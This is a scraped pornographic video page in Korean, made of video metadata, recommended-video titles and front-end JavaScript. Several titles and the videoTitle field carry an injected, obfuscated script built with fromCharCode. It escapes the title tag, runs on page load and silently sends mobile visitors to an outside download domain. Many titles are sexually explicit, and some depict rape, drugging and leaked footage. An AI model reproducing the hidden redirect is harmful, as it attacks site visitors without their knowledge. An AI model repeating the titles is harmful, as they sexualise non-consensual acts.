추천 영상
22:57
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>D컵 가슴을 가진 기혼 여성이 이른 아침 공원에서 소변을 보던 중 변태에게 강간당했습니다</title></script></script>
더 보기
안후이성 기혼 여성이 검은 스타킹을 신고 사람들로 둘러싸인 공공장소에서 진동 에그를 가지고 자위행위를 하고 있다. ","site_id":0,"video_url":"https://2605.v155p.com/20260610/UNokgZcr/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjgyMDYyNDgzZTU3NTU2NDdhZjhjZjE0MDBkY2RlYzEuanBn.cache","duration":"30:47","actor":[],"lastmod":1783766805,"rating":"3.0","view_count":568,"description":"안후이성에 사는 한 여성이 검은 스타킹을 신고 붐비는 야외에서 진동 에그를 이용해 자위하며 오르가즘을 느끼고 있다.","tag":["안후이","부인","옆에","사람들이 오고 간다","집 밖의","야외 자위","수음","검은 스타킹","진동하는 달걀","물을 뿌리세요"],"site_url":"175418","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["美女主播"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMjgyMDYyNDgzZTU3NTU2NDdhZjhjZjE0MDBkY2RlYzEuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"
安徽人妻旁边人来人往户外自慰黑丝跳蛋玩喷水","s_keywords":" 安徽人妻旁边人来人往户外自慰黑丝跳蛋玩喷水","s_description":" 안후이성 기혼 여성이 검은 스타킹을 신고 사람들로 둘러싸인 공공장소에서 진동 에그를 가지고 자위행위를 하고 있다. ","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzM1NmQ2NzQ0Njc5OTI2ZmEzMTMzYmRhYjg0YzUyNzAuanBn.cache","vod_id":18968461,"title":"345SIMM-818 호노카(18세) 방과후부 회원 [부모님을 만나러 몰래 나간다] [야외에서 목줄을 가지고 놀면서 애완동물처럼 생긴 자신의 성기를 수줍게 만진다] [커다란 성기를 빨아주며 서투르게 구강성교를 한다]","lastmod":"2025-12-14","duration":"01:16:24","url":"/play/18968461.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWIwYTM1YzZkNTE2OGJjZTYwMWIyMjgyYzQzZDJjYTEuanBn.cache","vod_id":18955436,"title":"XRW-648 너무 좋아! 4시간 동안 손가락 삽입에 집중해서 자위했어.","lastmod":"2025-03-22","duration":"01:58:20","url":"/play/18955436.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmVkZjgyZDIyNWRmMGI4OWQzYjYzZWNkNmM5MDIxMjMuanBn.cache","vod_id":18962044,"title":"✿십대 미녀✿망사 스타킹과 섹시한 토끼 소녀▌비비안▌내 페니스가 발기하고 민감한 질에서 물이 쏟아져 나올 때 극도로 예민한 신음과 속삭임","lastmod":"2025-12-14","duration":"00:13:47","url":"/play/18962044.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvZDg0MmY0OTk0NTJkNzQ3YjgzM2IzZmVjYzg4MDIwZWEuanBn.cache","vod_id":19066795,"title":"조수로 시작해 결혼까지 하게 된 그녀는 AV 배우로 데뷔했다. (하츠네 미쿠, MEYD-862)","lastmod":"2025-12-14","duration":"02:18:23","url":"/play/19066795.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWRmYjVmMjQ4MjJlYzgwM2RkOGUzODI2MGVjZTViYjguanBn.cache","vod_id":19009337,"title":"CAWD042CN은 규슈 출신의 순진한 시골 소녀를 발견했습니다! 그녀는 강한 사투리를 구사하지만, 옷을 벗으면 E컵의 풍만한 가슴을 드러냅니다! 게다가 자위와 섹스를 즐기는 그녀는 귀엽고 빛나는 미소로 AV 데뷔를 했습니다.","lastmod":"2025-03-24","duration":"01:58:36","url":"/play/19009337.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDQzYTkyOThhYzgyOTE4YTgxM2MwMWQxMjMwZjYwN2UuanBn.cache","vod_id":18954846,"title":"관장, 항문 삽입, 유두 클램프, 음탕한 유부녀가 수컷 늑대를 유혹하는 장면, 크고 두꺼운 도구가 항문에 삽입되는 모습은 폭력적이면서도 자극적이며, 질 확장기로 질을 벌려 자궁을 보여주는 장면, 소변 보는 모습의 클로즈업.","lastmod":"2025-12-14","duration":"00:53:56","url":"/play/18954846.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNWUwYjA3ODk2NGFjNTE5MmRjZTkxZmQ4NDMyOTZlZDkuanBn.cache","vod_id":19163135,"title":"
D컵 가슴을 가진 기혼 여성이 이른 아침 공원에서 소변을 보던 중 변태에게 강간당했습니다 ","lastmod":"2026-07-11","duration":"22:57","url":"/play/19163135.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzZjMjdmMDJmYWZkODFmZGIxNDI2NDNjZTAzYTQxMTUuanBn.cache","vod_id":18990927,"title":"아름다운 소녀의 은밀한 장난감, 치치가 자위하며 자신의 질을 자극합니다. 클로즈업 샷에서는 그녀가 진동 마사지기를 삽입하고 신음하는 모습이 포착됩니다. 매우 유혹적인 영상이니, 이런 취향이라면 놓치지 마세요!","lastmod":"2025-03-23","duration":"01:18:44","url":"/play/18990927.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDU3ZDMyMzFjN2JiZmZjZWQ2Mjg5NTI3MTlmM2M0NmYuanBn.cache","vod_id":18946333,"title":"최고 인기 인터넷 스타 미다의 글래머 여신 'E-시스터'가 부유한 남성과 성관계를 갖는 모습이 담긴 최신 유출 영상이 온라인에 공개되었습니다. 그녀의 글래머러스한 엉덩이, G컵 가슴, 검은 스타킹, 삽입 장면, 그리고 세 명이 함께하는 집단 성관계 장면까지 포함된 이 영상은 720P HD 고화질 버전으로 시청할 수 있습니다.","lastmod":"2025-12-14","duration":"01:43:06","url":"/play/18946333.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTYvMjUyZjRiOTZjOTcyYzA2MjA5ZDM1MjZkZjkzM2JiMGMuanBn.cache","vod_id":19038629,"title":"[2020년 최고의 진동기 100선] 최고의 오르가즘을 위한 선택! 상상을 초월하는 진동 파워!! 진동 에그, 마사지봉, 음핵 흡입기 – 열정의 완드.","lastmod":"2025-06-16","duration":"05:30","url":"/play/19038629.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTE2MGQ0MTUyMGQ2OTNiYzU2NDNhYTVlM2YzYzk0ZTEuanBn.cache","vod_id":18971548,"title":"YRBK-007 금지된 극단적 야외 노출 방송 - 레즈비언 커플: 미야자와 치하루와 하나이 시즈쿠","lastmod":"2025-03-23","duration":"02:40:48","url":"/play/18971548.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTJlZGVlZTczMzM1MzA1MjQ1ZGNhOTM5ODk5YzFjOTAuanBn.cache","vod_id":19016730,"title":"VOSS155 내가 유부녀에게 전화해서 아이를 낳아달라고 부탁했는데, 대신 우리 아름다운 노년의 담임 선생님이 나타나셨어!","lastmod":"2025-03-24","duration":"01:38:18","url":"/play/19016730.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTVjMDlhZmY3ZDdiODg3MzI1MTc5MmZmNzRhODA5MjguanBn.cache","vod_id":18948964,"title":"거대한 성기를 가진 남자가 검은 스타킹과 유니폼을 입은 회사원과 격렬한 섹스를 벌인다. 그의 아담한 여자친구는 더 이상 참을 수 없어 깊숙이 목구멍까지 넣는 오럴 섹스를 하고, 빠른 속도로 삽입한다.","lastmod":"2025-12-14","duration":"01:05:59","url":"/play/18948964.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTY5NDVmM2M1YTM0YmIyNWIyNTc2OWU3NGQ4N2E5NzguanBn.cache","vod_id":19014177,"title":"VEO077C 진짜 아마추어 아내 AV Debut! ! 초대형 신인 최고 멋진 뷰티 큰 가슴 아름다운 아내.","lastmod":"2025-03-24","duration":"02:00:51","url":"/play/19014177.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmU5N2EzMGFiZjI0ZTVhZWU4ZDVhNDI0MjRlZmI3MjYuanBn.cache","vod_id":18943420,"title":"[에스코트 걸 구강성교] 오늘 밤, 남자가 날씬한 에스코트 걸과 또 한 번의 섹스를 즐긴다. 고난도 물구나무서기 69 구강성교, 진동 에그를 이용한 자위, 섹시한 항문 삽입까지.","lastmod":"2025-03-22","duration":"01:05:09","url":"/play/18943420.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDUvNjIyY2U1YTk0MmQ0YzdiYzlhNGQ2NWFjZjQyYzY4OGQuanBn.cache","vod_id":19050436,"title":"인터넷 유명인 \"화이트 타이거 원 라인 스카이\"가 자위하는 모습을 생중계했다.","lastmod":"2025-09-04","duration":"30:16","url":"/play/19050436.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDEvMmJlZTQxYWRjMDc2YzIzMGZiY2IyN2NiMzI2ZTkyY2EuanBn.cache","vod_id":19055477,"title":"마사지에 잘 반응하는 한 여성에게 무료 마사지를 해준 후, 최음제를 바르고 유두를 마사지한다. 이 여성은 마사지에 잘 반응하는 \"기혼 여성\"으로 묘사된다. 마사지 후에는 이름이 알려지지 않은 여배우가 등장한다(CLUB860).","lastmod":"2025-09-30","duration":"03:50:50","url":"/play/19055477.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDhmNmFmYmJhZjA5YjM1NjMzYjhkMzMzZGNlYTg2ODEuanBn.cache","vod_id":18978257,"title":"검은 스타킹과 안경을 쓴, 너무나 귀엽고 섹시한 소녀가 라이브 스트리밍에서 자신의 매력을 한껏 뽐내며, 남성 시청자들에게 다리를 벌려 자신의 은밀한 부위를 클로즈업으로 보여줍니다. 그녀는 동시에 항문을 만지면서 자위행위를 하고, 믿을 수 없을 정도로 음탕한 표정으로 끊임없이 신음하고 끙끙거립니다.","lastmod":"2025-12-14","duration":"01:17:39","url":"/play/18978257.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTYvYjBjNzQyYjExNGQzZTVhYjZiMGZkZDgxMWJjNzczODUuanBn.cache","vod_id":19029276,"title":"섹시한 망사 스타킹을 신고 의자에 앉아 진동기에 삽입당하며 신음하고 헐떡이는 솔로 자위 영상.","lastmod":"2025-04-16","duration":"36:33","url":"/play/19029276.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmQ2YWFiNDhkNTE3Zjk0MmYyNWYwZmEyMDEzOTNmMDguanBn.cache","vod_id":18986364,"title":"JUY-520 진구지 나오 긴박 해금! ! SM, BD 오일 마사지에 빠진 유부녀","lastmod":"2025-03-23","duration":"01:55:52","url":"/play/18986364.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZDI5ZTYyMjNmNjQ0YjVkYzllYjcxNjBmZGQ5MmFiOGYuanBn.cache","vod_id":19140279,"title":"하이힐, 검은 스타킹, 큰 가슴, 여고생 복장, 음란한 목소리, 유혹적인 상호작용, 다리를 벌리는 클로즈업 장면, 외음부를 만지는 장면, 소품을 가지고 노는 장면, 털 없는 음탕한 여자.","lastmod":"2026-01-25","duration":"28:32","url":"/play/19140279.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MDMvMTJmZmYwY2I4YTE0NWIwNTQ4NjBiODI1ZWI2ZDc5NzAuanBn.cache","vod_id":19045166,"title":"과일 파이 해설: 올해 최고의 블랙 스타킹 영화 (IPX-475)","lastmod":"2025-08-02","duration":"22:23","url":"/play/19045166.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWQ3MTA4Njc3MmQ2NGJiYTE5MjBkN2ZlYTIwNTU3YTkuanBn.cache","vod_id":18952252,"title":"이 섹시한 젊은 여자는 정말 화끈하고 음탕하네요. 예쁜 외모에 남자를 유혹해서 집에서 오럴 섹스와 바이브레이터를 사용하며 관계를 가졌어요. 그녀는 신음 소리를 내며 흥분했고, 남자는 그녀가 소변을 보는 동안 격렬하게 관계를 맺었어요. 정말 짜릿하고 자극적이네요!","lastmod":"2025-12-14","duration":"00:24:13","url":"/play/18952252.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTcvYzNkNmI2MDdlMTQ2N2RjOWM5NGZlN2Y4NDBkZDZhYWQuanBn.cache","vod_id":19168614,"title":"궁극의 경험!! 30대 기혼 여성이 AV 다큐멘터리에서 처음으로 옷을 벗는 모습 - 오시마 아야카, 성숙한 여성 (일본)","lastmod":"2026-07-16","duration":"01:57:43","url":"/play/19168614.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>안후이성 기혼 여성이 검은 스타킹을 신고 사람들로 둘러싸인 공공장소에서 진동 에그를 가지고 자위행위를 하고 있다.</title></script></title></script></title></script></title></script></title></title>',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}